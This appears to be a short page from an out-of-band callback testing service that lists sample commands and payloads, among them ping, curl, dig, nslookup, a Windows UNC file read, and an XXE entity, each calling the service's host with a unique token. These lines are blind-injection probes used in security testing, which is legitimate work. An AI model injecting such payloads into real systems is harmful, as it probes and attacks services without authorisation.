$ ping -c1 -p 00e02eb4b824181c410ca83bf79a9900 unhack.ca
 

$ curl http://unhack.ca/p/e02eb4b824181c410ca83bf79a99
 

$ dig e02eb4b824181c410ca83bf79a99 @unhack.ca
 

$ dig e02eb4b824181c410ca83bf79a99.ns.unhack.ca
 

C:\> nslookup e02eb4b824181c410ca83bf79a99 unhack.ca
 

C:\> type \\unhack.ca\e02eb4b824181c410ca83bf79a99\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e02eb4b824181c410ca83bf79a99">]>
    <foo>&xxe;</foo>